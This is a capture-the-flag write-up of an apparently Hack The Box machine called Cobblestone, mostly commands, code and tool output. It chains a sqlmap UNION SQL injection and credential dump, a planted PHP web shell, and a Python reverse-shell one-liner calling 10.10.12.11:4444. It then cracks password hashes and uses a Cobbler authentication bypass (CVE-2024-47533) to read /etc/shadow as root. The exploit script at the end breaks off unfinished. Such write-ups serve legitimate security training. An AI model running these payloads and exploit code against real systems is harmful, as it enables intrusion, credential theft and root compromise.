RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4szy00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc=
|   256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs
80/tcp open  http    syn-ack Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://cobblestone.htb/
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

A classic Linux starter, signaling that our opening move should be through the web..

Port 80

A Minecraft-themed gaming portal greets us:

htb_cobblestone_1

The layout feels oddly familiar—three clear points of entry:

deploy.cobblestone.htb
cobblestone.htb/skins.php
vote.cobblestone.htb

The vote subdomain hosts a login panel with self-registration enabled:

htb_cobblestone_2

The voting feature itself is smoke and mirrors, but it allows server interaction via a URL parameter for suggestions:

htb_cobblestone_3

Approval is irrelevant—what matters is we've established a rudimentary request–response channel. The id parameter begins at 4 and increments upward:

htb_cobblestone_4

A textbook IDOR emerges:

htb_cobblestone_5

An exploitable attack vector revealed.

WEB

SQLi

Entry Discovery

Dropping a simple a' into the suggestion POST request throws us into an unexpected error state:

htb_cobblestone_6

No output—just a broken page.

Switch to a'-- - and the server half-reveals its hand: HTML returns, but the data payload is stripped clean:

htb_cobblestone_7

A faint but promising signal—possible SQL injection territory.

Sqlmap

Capture the suggest request for offline work:

htb_cobblestone_8

With no rate limiting in sight, we're free to unleash payloads without restraint. Dial up the flags and fire:

Bash
sqlmap -r suggest.req -p url \
	  --dbs \
  	--risk=3 --level=5 \
  	--batch

SQLi confirmed:

htb_cobblestone_9

Post Injection

sqlmap has already fingerprinted:

“I found a UNION-based SQL injection on parameter url using 5 columns, and here's the exact payload I used to prove it.”

Parameter: url (POST)
   Type: UNION query
   Title: Generic UNION query (NULL) - 5 columns
   Payload: url=-4680' UNION ALL SELECT NULL,CONCAT(0x7162786b71,0x73434e574973764e4a5842735261776b5858636569534f5666686d72715a517571706d4761637166,0x716a7a7071),NULL,NULL,NULL-- -

Minimal Proof-of-Concept:

url=' UNION ALL SELECT NULL,'Axura',NULL,NULL,NULL-- -

From here, sqlmap can pivot to data extraction or filesystem access.

Enumeration

List databases:

$ sqlmap -r suggest.req -p url \
	  --dbs \
  	--batch
  	
available databases [2]:
[*] information_schema
[*] vote

List tables in vote:

$ sqlmap -r suggest.req -p url \
	  -D vote --tables \
  	--batch
  	
Database: vote
[2 tables]
+-------+
| users |
| votes |
+-------+

Column hunt in users:

$ sqlmap -r suggest.req -p url \
	  -D vote -T users --columns
  	
[02:08:43] [INFO] retrieved: id
[02:08:48] [INFO] retrieved: username
[02:09:01] [INFO] retrieved: firstname                                                                                           
[02:09:13] [INFO] retrieved: email
[02:13:00] [INFO] retrieved: lastname
[02:13:47] [INFO] retrieved: password

Dump credentials:

$ sqlmap -r suggest.req -p url \
    -D vote -T users \
    -C username,password \
    --dump --batch

Database: vote
Table: users
[2 entries]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 |
| axura    | $2y$10$ZDqxFveA3d6eYI.0JlpZauum/mbn3eCLLr5QFqNFtSebnOkhUnYRe |
+----------+--------------------------------------------------------------+

Heavy hashes though.

File Read / Write

Once we confirmed UNION-based injection, we can check if a file exists on the target system using MySQL's LOAD_FILE() function—sqlmap has built-in features (--file-read, --file-write) for convenience.

Read primitive:

$ sqlmap -r suggest.req -p url --batch \
       --file-read="/etc/passwd"
       
files saved to [1]:
[*] /home/Axura/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd (same file)


$ cat /home/Axura/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash

Identified local users: john, cobble.

Write primitive:

Proved we can even write files outside the webroot:

$ echo '<?php @system($_REQUEST["x"]); echo "hello world" ?>' > shell.php


$ sqlmap -r suggest.req -p url  --batch \
       --file-write="shell.php" \
       --file-dest="/tmp/pwned"
     
files saved to [1]:
[*] /home/Axura/.local/share/sqlmap/output/vote.cobblestone.htb/files/_tmp_pwned (same file)


$ cat /home/Axura/.local/share/sqlmap/output/vote.cobblestone.htb/files/_tmp_pwned
<?php @system($_REQUEST["x"]); echo "hello world" ?>

Once webroot placement is confirmed, trigger it for a reverse shell—full control achieved.

Should this be unintended for an insane-level machine?

RCE

Web Shell

With the file write primitive in our pocket, the objective shifts—plant a payload where Apache will happily serve and execute it. A lightweight PHP web shell becomes our delivery vehicle.

The server fingerprint reveals Debian running Apache 2.4.62:

htb_cobblestone_10

First step—pull Apache's site configuration to map the terrain:

/etc/apache2/sites-enabled/000-default.conf

Leak the file via the read primitive:

Apache
<VirtualHost *:80>
        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^cobblestone.htb$
        RewriteRule /.* http://cobblestone.htb/ [R]
        ServerName 127.0.0.1
        ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
        ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>

<VirtualHost *:80>
        ServerName cobblestone.htb

        ServerAdmin [email protected]
        DocumentRoot /var/www/html

        <Directory /var/www/html>
                AAHatName cobblestone
        </Directory>

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^cobblestone.htb$
        RewriteRule /.* http://cobblestone.htb/ [R]

        Alias /cobbler /srv/www/cobbler

        <Directory /srv/www/cobbler>
                Options Indexes FollowSymLinks
                AllowOverride None
                Require all granted
        </Directory>

</VirtualHost>

<VirtualHost *:80>
        ServerName deploy.cobblestone.htb

        ServerAdmin [email protected]
        DocumentRoot /var/www/deploy

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
        RewriteRule /.* http://deploy.cobblestone.htb/ [R]
</VirtualHost>

<VirtualHost *:80>
        ServerName vote.cobblestone.htb

        ServerAdmin [email protected]
        DocumentRoot /var/www/vote

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
        RewriteRule /.* http://vote.cobblestone.htb/ [R]
</VirtualHost>

Three viable drop zones:

  1. /var/www/html → main cobblestone.htb
  2. /var/www/deploydeploy.cobblestone.htb
  3. /var/www/votevote.cobblestone.htb (injection point's host)

Take the one we prefer and attempt to plant a shell

Bash
sqlmap -r suggest.req -p url  --batch \
       --file-write="shell.php" \
       --file-dest="/var/www/html/.index.php"

Test the minimal PHP command executor via http://cobblestone.htb/.index.php?x=id:

htb_cobblestone_11

Reverse Shell

However, it seems path /var/www/html is protected. We verified curl is in PATH (via which curl) but it cannot reach our attacker IP—Internet egress is blocked.

After some tests, I found out path /var/www/vote is not restricted though, thus we can write our small evil shell (PHP file size is restricted as well) on the target:

Bash
sqlmap -r suggest.req -p url  --batch \
       --file-write="shell.php" \
       --file-dest="/var/www/vote/.index.php"

Through http://vote.cobblestone.htb/.index.php, trigger a reverse shell where Python is verified to be installed:

Bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

The line bites—www-data is now ours:

htb_cobblestone_12

Web root user www-data compromised.

USER

With the web foothold secured, the next phase is classic post-exploitation—pull every config file worth reading.

Database Breach

This is a directory tree I found out via the previous web shell under /var/www/html (before managing to get a reverse shell), by running ls -R for a full view on the web root /var/www/html:

/var/www/html
├── composer.json
├── composer.lock
├── index.php
├── login.php
├── login_verify.php
├── logout.php
├── register.php
├── upload.php
├── suggest_skin.php
├── skins.php
├── skins_app_admin_server_info.php
├── download.php
├── preview_banner.php
├── user.php
├── db/
│   └── connection.php
├── css/
│   ├── all.min.css
│   ├── bootstrap.min.css
│   └── stylesheet.css
├── js/
│   ├── bootstrap.bundle.min.js
│   ├── firefly.js
│   ├── jquery.min.js
│   └── main.js
├── img/
│   ├── forums.png
│   ├── logo.png
│   ├── minecraft.jpg
│   ├── store.png
│   └── vote.png
├── skins/
│   ├── dog1234.png
│   ├── eldeathly.png
│   ├── niftysmith.png
│   ├── paulgg.png
│   ├── sword4000.png
│   └── preview_*.png
├── templates/                  # Twig views
│   ├── downloads.html.twig
│   ├── footer.html.twig
│   ├── header.html.twig
│   ├── suggest.html.twig
│   ├── suggestform.html.twig
│   ├── upload.html.twig
│   └── user.html.twig
├── vendor/
│   ├── autoload.php
│   ├── composer/               # Composer autoload metadata
│   ├── symfony/                # polyfills, contracts
│   └── twig/twig/              # Twig engine
└── webfonts/
    ├── fa-*.ttf
    └── fa-*.woff2

The suspicious db directory contains a configuration file that exposes the creds of the cobblestone database:

PHP
// connection.php under /var/www/html/db
<?php

$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
die("Connection failed: " . $conn->connect_error);
}
?>

While under /var/www/vote, the different db/connection.php contains creds of another database vote:

PHP
// connection.php under /var/www/vote/db
<?php

$dbserver = "localhost";
$username = "voteuser";
$password = "thaixu6eih0Iicho]irahvoh6aigh>ie";
$dbname = "vote";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
 die("Connection failed: " . $conn->connect_error);
}
?>

This is already popped during the SQLi phase, but still a candidate for password reuse checks.

So now, connecting locally to unexplored cobblestone in our reverse shell:

Bash
mysql -u dbuser -p'aichooDeeYanaekungei9rogi0eMuo2o' -h localhost cobblestone

Open the vault:

MariaDB [cobblestone]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| cobblestone        |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [cobblestone]> use cobblestone;
use cobblestone;
Database changed

MariaDB [cobblestone]> show tables;
show tables;
+-----------------------+
| Tables_in_cobblestone |
+-----------------------+
| skins                 |
| suggestions           |
| users                 |
+-----------------------+
3 rows in set (0.001 sec)

MariaDB [cobblestone]> select * from users;
select * from users;
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
| id | Username | FirstName | LastName | Email                  | Role  | Password                                                         | register_ip |
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
|  1 | admin    | admin     | admin    | [email protected]  | admin | f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1 | *           |
|  2 | cobble   | cobble    | stone    | [email protected] | admin | 20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d | *           |
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
2 rows in set (0.001 sec)

The users table dropped two accounts—admin and cobble—SHA-256 hashes without salts:

$ hashcat --identify '20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d'
The following 8 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1400 | SHA2-256                                                   | Raw Hash
  17400 | SHA3-256                                                   | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
   6900 | GOST R 34.11-94                                            | Raw Hash
  17800 | Keccak-256                                                 | Raw Hash
   1470 | sha256(utf16le($pass))                                     | Raw Hash
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated

hashcat (mode 1400) cracked cobble's hash clean:

$ echo "f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1" > hashes.txt
$ echo "20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d" >> hashes.txt

$ hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --force
20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d:iluvdannymorethanyouknow
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987...0a8f4d

/etc/passwd confirmed cobble as a local user:

$ ls /home
chroot_jail  cobble  john

The cracked credentials slid perfectly into SSH:

htb_cobblestone_13

The session lands in a restricted bash (rbash), but the user flag is immediately accessible.

ROOT

Rbash

rbash—restricted bash—is essentially bash with shackles on. No cd, no PATH manipulation, no executing binaries with / unless blessed in $PATH. Output redirection? Dead. set +r? Forget it.

This is why our first web shell is restricted under /var/www/html. But we just found out /var/www/vote should be an exception, being in the allowed list.

Our binary sandbox inventory is bare:

cobble@cobblestone:~$ ls /bin -l
total 1964
-rwxr-xr-x 1 root root   44016 Oct  1  2024 cat
-rwxr-xr-x 1 root root  203152 Oct  1  2024 grep
-rwxr-xr-x 1 root root  151344 Oct  1  2024 ls
-rwxr-xr-x 1 root root  146360 Oct  1  2024 ps
-rwxr-xr-x 1 root root 1265648 Oct  1  2024 rbash
-rwxr-xr-x 1 root root  193680 Oct  1  2024 ss

But ps and ss are enough to start poking the system's arteries.

Local Enum

Perform some basic system enumeration:

cobble@cobblestone:~$ ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
...
root        1037       1  0 07:21 ?        00:00:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root        1166       1  0 07:21 ?        00:00:07 /usr/bin/python3 /usr/local/bin/cobblerd -F
root        1168       1  0 07:21 ?        00:00:03 php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
root        1187       1  0 07:21 ?        00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root        1196       1  0 07:21 ?        00:00:00 /usr/sbin/in.tftpd --listen --user tftp --address :69 --secure /srv/tftp
www-data    1238    1168  0 07:21 ?        00:00:00 php-fpm: pool www
www-data    1240    1168  0 07:21 ?        00:00:00 php-fpm: pool www
mysql       1287       1  0 07:21 ?        00:00:09 /usr/sbin/mariadbd
root        1288       1  0 07:21 ?        00:00:03 /usr/sbin/apache2 -k start
www-data   97625    1288  0 13:35 ?        00:00:00 /usr/sbin/apache2 -k start
root       98060       2  0 13:38 ?        00:00:00 [kworker/u4:0-events_unbound]
www-data  104468   97625  0 14:02 ?        00:00:00 sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.11",4444));os.dup2
www-data  104470  104469  0 14:02 ?        00:00:00 sh
root      104556       2  0 14:03 ?        00:00:01 [kworker/1:2-events]
root      105772       2  0 14:08 ?        00:00:00 [kworker/u4:3-ext4-rsv-conversion]
root      108690       2  0 14:19 ?        00:00:00 [kworker/0:3-events]
www-data  108801    1288  0 14:19 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  109302    1288  0 14:20 ?        00:00:00 /usr/sbin/apache2 -k start
root      109303       1  0 14:20 ?        00:00:00 sshd: cobble [priv]
cobble    109394       1  0 14:21 ?        00:00:00 /lib/systemd/systemd --user
cobble    109395  109394  0 14:21 ?        00:00:00 (sd-pam)
cobble    109414  109303  0 14:21 ?        00:00:00 sshd: cobble@pts/1
cobble    109489  109414  0 14:21 ?        00:00:00 -rbash
root      109804       2  0 14:23 ?        00:00:00 [kworker/1:3-events]
www-data  111008    1288  0 14:27 ?        00:00:00 /usr/sbin/apache2 -k start
...

cobble@cobblestone:~$ ss -lntp
State                 Recv-Q                Send-Q                               Local Address:Port                                 Peer Address:Port                Process
LISTEN                0                     5                                        127.0.0.1:25151                                     0.0.0.0:*
LISTEN                0                     511                                        0.0.0.0:80                                        0.0.0.0:*
LISTEN                0                     128                                        0.0.0.0:22                                        0.0.0.0:*
LISTEN                0                     80                                       127.0.0.1:3306                                      0.0.0.0:*
LISTEN                0                     128                                           [::]:22                                           [::]:*

cobble@cobblestone:~$ ss -lnup
State                 Recv-Q                Send-Q                               Local Address:Port                                 Peer Address:Port                Process
UNCONN                0                     0                                          0.0.0.0:68                                        0.0.0.0:*
UNCONN                0                     0                                          0.0.0.0:69                                        0.0.0.0:*
UNCONN                0                     0                                             [::]:69                                           [::]:*

We see:

  • /usr/local/bin/cobblerd -F running as root and listening only on 127.0.0.1:25151.
  • Apache is up, PHP-FPM up, MariaDB bound to localhost, and TFTP (/srv/tftp) is present and run on UDP port 69.
  • This is a classic Cobbler stack → abuse Cobbler's XML-RPC from localhost to read arbitrary files as root.

A provisioning daemon running as root with an exposed local API is basically an escalation service on demand.

Cobbler

To fully grasp how Cobbler operates, this may require us to have some fundamental knowledge of Linux kernel internals. But such a deep dive—covering topics like how the kernel boots with initrd (formerly initramfs), or how it orchestrates filesystem management—is beyond the scope of this CTF write-up. It's also unnecessary for exploitation in this challenge. You can always find the best explanation in Linux Kernel documentation.

Basic Concepts

Clobberd

Cobbler is a Linux provisioning/PXE (Preboot Execute Environment) server used to automate OS installs. It keeps three kinds of objects:

  • Distro: metadata for an OS build, mainly paths to a kernel and initrd that exist on the Cobbler host (e.g., /boot/vmlinuz-6.1.0-37-amd64, /boot/initrd.img-6.1.0-37-amd64).
  • Profile: an install recipe that points at one distro and adds config like kickstart templates.
  • System: a concrete machine mapping that points at one profile and adds per-host tweaks (MAC/IP, templated files, etc.).

The Cobbler daemon (cobblerd) runs as root and exposes a management API—here bound to 127.0.0.1:25151.

Provisioning refers to the process of preparing and equipping a system or user with the necessary resources and services. It involves creating, modifying, or deleting user accounts and profiles, managing access permissions, and setting up IT infrastructure. This process is crucial for ensuring that users have the appropriate access to resources and services they need to perform their tasks effectively.

TFTP

TFTP (Trivial File Transfer Protocol, UDP/69) is used in PXE boot to deliver bootloaders, the kernel, and initrd to clients.

From the process list:

Bash
in.tftpd --secure /srv/tftp

This means it serves files from /srv/tftp. The --secure flag locks it to that directory, making it read-only—a critical path for PXE, though not our direct privilege escalation vector here unless writable.

XML-RPC

Think of Cobbler as a PXE/OS-provisioning orchestrator. It keeps an internal model of “what should exist” (distros, profiles, systems) and, when asked, materializes that model into files and directories that TFTP/HTTP serve to clients. The XML-RPC API is just the remote control for that model, which is a local (here, 127.0.0.1:25151) API that the cobbler CLI and web UI talk to.

Through this API, an authenticated user can create, modify, and save distros/profiles/systems, then run sync.

Sync

The sync operation is Cobbler's “make it real” button. When we call srv.sync(token):

  1. Cobbler reads its internal DB/state for all distros/profiles/systems.
  2. It verifies referenced paths (kernel/initrd) exist on disk.
  3. It generates or updates files under its managed trees, typically:
    • TFTP tree (e.g., /srv/tftp)
    • Web tree (e.g., /srv/www/cobbler or /var/www/cobbler)
    • Internal template/cache under /var/lib/cobbler/...
  4. It processes per-system template_files and copies/render them into a per-system area so they can be served or queried.

To be notice, because cobblerd runs as root, this file access occurs with full system privileges. That's the linchpin.

Critically, a System object's template_files can be defined as:

{"<source_path_on_host>": "<virtual_dest_path>"}
  • <source_path_on_host> is any path on the Cobbler server (e.g., /etc/shadow).
  • <virtual_dest_path> is a logical name (e.g., /leak) that Cobbler uses as a handle.

After sync, Cobbler opens the source (as root), reads it, and stores the content in its per-system template store under the destination handle.

Later, the XML-RPC method:

Python
get_template_file_for_system("<system_name>", "<virtual_dest_path>")

will return the captured file content—giving us an arbitrary file read primitive.

With a root-privileged daemon exposing a filesystem-referencing API, Cobbler offers a ripe attack surface.

CVE-2024-47533

Let's fingerprint the Cobbler version:

Bash
python3 - <<'PY'
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/RPC2', allow_none=True)
print("cobbler version:", s.version())
PY

Cobbler version 3.306 detected:

htb_cobblestone_17

The source code for this version is available here: cobbler/cobbler at v3.3.6.

Versions ≤ 3.3.6 (and 3.2.x < 3.2.3) are vulnerable to an improper authentication flaw in the XML-RPC service (CVE-2024-47533). The culprit: utils.get_shared_secret() returns -1 on failure:

Python
def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

It's intended to read /var/lib/cobbler/web.ss, the shared secret for unauthenticated local access:

htb_cobblestone_18

However, opening in binary mode ('rb') while specifying encoding='utf-8' in Python always raises:

binary mode doesn't take an encoding argument

This exception is caught, and -1 is returned.

On the server side, remote.login() has a code path issuing a token when login_user == "".:

Python
def login(self, login_user: str, login_password: str) -> str:
    """
    Takes a username and password, validates it, and if successful returns a random login token which must be used
    on subsequent method calls. The token will time out after a set interval if not used. Re-logging in permitted.

    :param login_user: The username which is used to authenticate at Cobbler.
    :param login_password:  The password which is used to authenticate at Cobbler.
    :return: The token which can be used further on.
    """
    # if shared secret access is requested, don't bother hitting the auth plugin
    if login_user == "":
        if login_password == self.shared_secret:
            return self.__make_token("<DIRECT>")
        else:
            utils.die("login failed")

    ...

Because self.shared_secret had become the integer -1 from the previous get_shared_secret() logic, when we try login("", -1), this always return True:

if login_password == self.shared_secret	# -1 == -1

… and returned a valid admin token.

Exploit

With the official XML-RPC documentation and the full Remote API reference, we can now chain calls to:

  1. Authenticate via the -1 shared secret bug.
  2. Create or modify a System with template_files pointing to root-only files.
  3. Run sync to force cobblerd to read it.
  4. Fetch the file contents via get_template_file_for_system().

In the last step, we'll wrap these into a single exploit script.

0. Connection Test

Despite the rbash restriction (no curl, wget), we can still use the -L option of ssh to forward the local Cobbler socket (port 25151), then drive Cobbler from our attacking box:

Bash
ssh -N -L 25151:127.0.0.1:25151 [email protected] &

We can connect to Cobbler server bypassing authentication with empty username and password -1:

Bash
python3 - <<'PY'
import xmlrpc.client
io = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/RPC2', allow_none=True)
try:
    tok = io.login('', -1)
except Exception as e:
    print(e)
    exit(1)
print('[+] Token:', tok)
print('distros:', len(io.get_distros()))
print('profiles:', len(io.get_profiles()))
print('systems:', len(io.get_systems()))
PY

Authentication bypassed and we got a token:

htb_cobblestone_14
  • distros: 0 → No Cobbler distro defined (no kernel/initrd pair registered).
  • profiles: 0 → No profile (no install recipe that points to a distro).
  • systems: 0 → No system (no per-host entry that points to a profile).

The Cobbler inventory is empty, which is normal for a fresh or bare install. But it's fine for us—we'll create one distro, one profile, and one system to make sync do work and to leverage template_files for the file-read.

1. Login Probe

So the login probe script logic can be (ref):

Python
#!/usr/bin/env python3
import xmlrpc.client, sys

# Clobber commonly would use one of these two endpoints
URLS = [
    "http://127.0.0.1:25151/RPC2",
    "http://127.0.0.1:25151/",
]

def connect():
    for url in URLS:
        try:
            remote = xmlrpc.client.ServerProxy(url, allow_none=True)
            try:
                token = remote.login("","-1")
            except xmlrpc.client.Fault as e:
                print(f"[-] Login Failed: {e}")
                sys.exit(1)
            print(f"[+] Connected: {url}")
            print("[+] Token:", token)
            return remote, token
        except Exception as e:
            print(f"[-] Failed {url}: {e}")

Then we can retrieve the remote data from the Clobbler server, illustrated in the documentation:

Python
# Connect to Clobbler server and retrieve admin token
remote, token = connect()

# Getting remote data
print("distros:", len(remote.get_distros()))
print("profiles:", len(remote.get_profiles()))
print("systems:", len(remote.get_systems()))

2. Create Distro

First, confirm kernel/initrd paths on the target—Cobbler's sync refuses bogus distros, so we must point to real files in /boot on the target. Verify them in user clobble's terminal:

cobble@cobblestone:~$ ls -1 /boot | grep -E '^vmlinuz|^initrd'
ls: cannot access '/boot': No such file or directory

Yes we are in a jailed (chrooted) rbash environment. But remember our web shell (or reverse shell) under /var/www/vote is able to break it?

Run ls -l /vmlinuz /inird.img to confirm:

htb_cobblestone_15
htb_cobblestone_16

Those symlinks resolve to:

  • /vmlinuz -> /boot/vmlinuz-6.1.0-37-amd64
  • /initrd.img -> /boot/initrd.img-6.1.0-37-amd64

Now we can create a new object referencing the official example, using the retrieved token:

Python
distro_id = remote.new_distro(token)
remote.modify_distro(distro_id, "name",   "my_distro", token)
remote.modify_distro(distro_id, "arch",   "x86_64", token)
remote.modify_distro(distro_id, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", token)
remote.modify_distro(distro_id, "initrd", "/boot/initrd.img-6.1.0-37-amd64", token)
remote.save_distro(distro_id, token)

3. Create Profile

Next, use the new_profile method to create a profile, pointing at that our newly created distro via modify_profile call:

Python
profile_id = remote.new_profile(tokent)
remote.modify_profile(profile_id, "name",   "my_profile", token)
remote.modify_profile(profile_id, "distro", "my_distro",  token)
remote.save_profile(profile_id, token)

4. Create System

Finally, create a system via new_system, attach the file-read primitive on its internal template_files via modify_system:

Python
SRC  = "/etc/shadow"   # change to any file later
DEST = "/whatever"

system_id = s.new_system(token)
remote.modify_system(system_id, "name", "my_system", token)
remote.modify_system(system_id, "profile", "my_profile", token)
remote.modify_system(system_id, "template_files", {SRC: DEST}, token)
remote.save_system(system_id, t)

5. Trigger Sync

Trigger sync, then exfil via get_template_file_for_system to get the template (template_file) for the created system:

Python
# make Cobbler (root) read TARGET during sync
remote.sync(token)

# return the bytes cached under DEST for system NAME
data = remote.get_template_file_for_system("my_system", DEST)
print("[+] Exfiltrated bytes:", len(date))
print(date, end="")

6. EXP

Combine the steps above, tune up the final exploit script:

Python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title : cobbler_CVE-2024-47533.py — Cobbler XML-RPC exfil
# Author: Axura (@4xura) - https://4xura.com
# Tested: Cobbler 3.306 (≤ 3.3.6 vulnerable)
#
# Usage:
#   python3 cobbler_CVE-2024-47533.py \
#		-t http://127.0.0.1:25151 \
#       -s /etc/shadow \
#       --kernel /boot/vmlinuz-6.1.0-37-amd64 \
#       --initrd /boot/initrd.img-6.1.0-37-amd64
#
#   Optional: --breed debian   (or redhat, etc.) 
#

from dataclasses import dataclass
from urllib.parse import urlparse
import xmlrpc.client, argparse, uuid, sys

@dataclass
class CobblerConfig:
    url: str
    kernel: str
    initrd: str
    src: str
    dest: str
    breed: str
    prefix: str

@dataclass
class CobblerNames:
    distro: str
    profile: str
    system: str

class CobblerClient:
    def __init__(self, cfg: CobblerConfig):
        self.cfg = cfg
        self.rpc, self.endpoint = connect_any(cfg.url)
        self.token = None

    def login(self):
        try:
            self.token = self.rpc.login("", -1)  # CVE-2024-47533 weak shared-secret path
        except xmlrpc.client.Fault as e:
            raise RuntimeError(f"login failed: {e}")
        return self.token

    def create_distro(self, name: str):
        d_id = self.rpc.new_distro(self.token)
        self.rpc.modify_distro(d_id, "name",   name,            self.token)
        self.rpc.modify_distro(d_id, "arch",   "x86_64",        self.token)
        self.rpc.modify_distro(d_id, "kernel", self.cfg.kernel, self.token)
        self.rpc.modify_distro(d_id, "initrd", self.cfg.initrd, self.token)
        if self.cfg.breed:
            self.rpc.modify_distro(d_id, "breed", self.cfg.breed, self.token)
        try:
            self.rpc.save_distro(d_id, self.token)
        except xmlrpc.client.Fault as e:
            raise RuntimeError(f"save_distro failed: {e}")
        return d_id

    def create_profile(self, name: str, distro_name: str):
        p_id = self.rpc.new_profile(self.token)
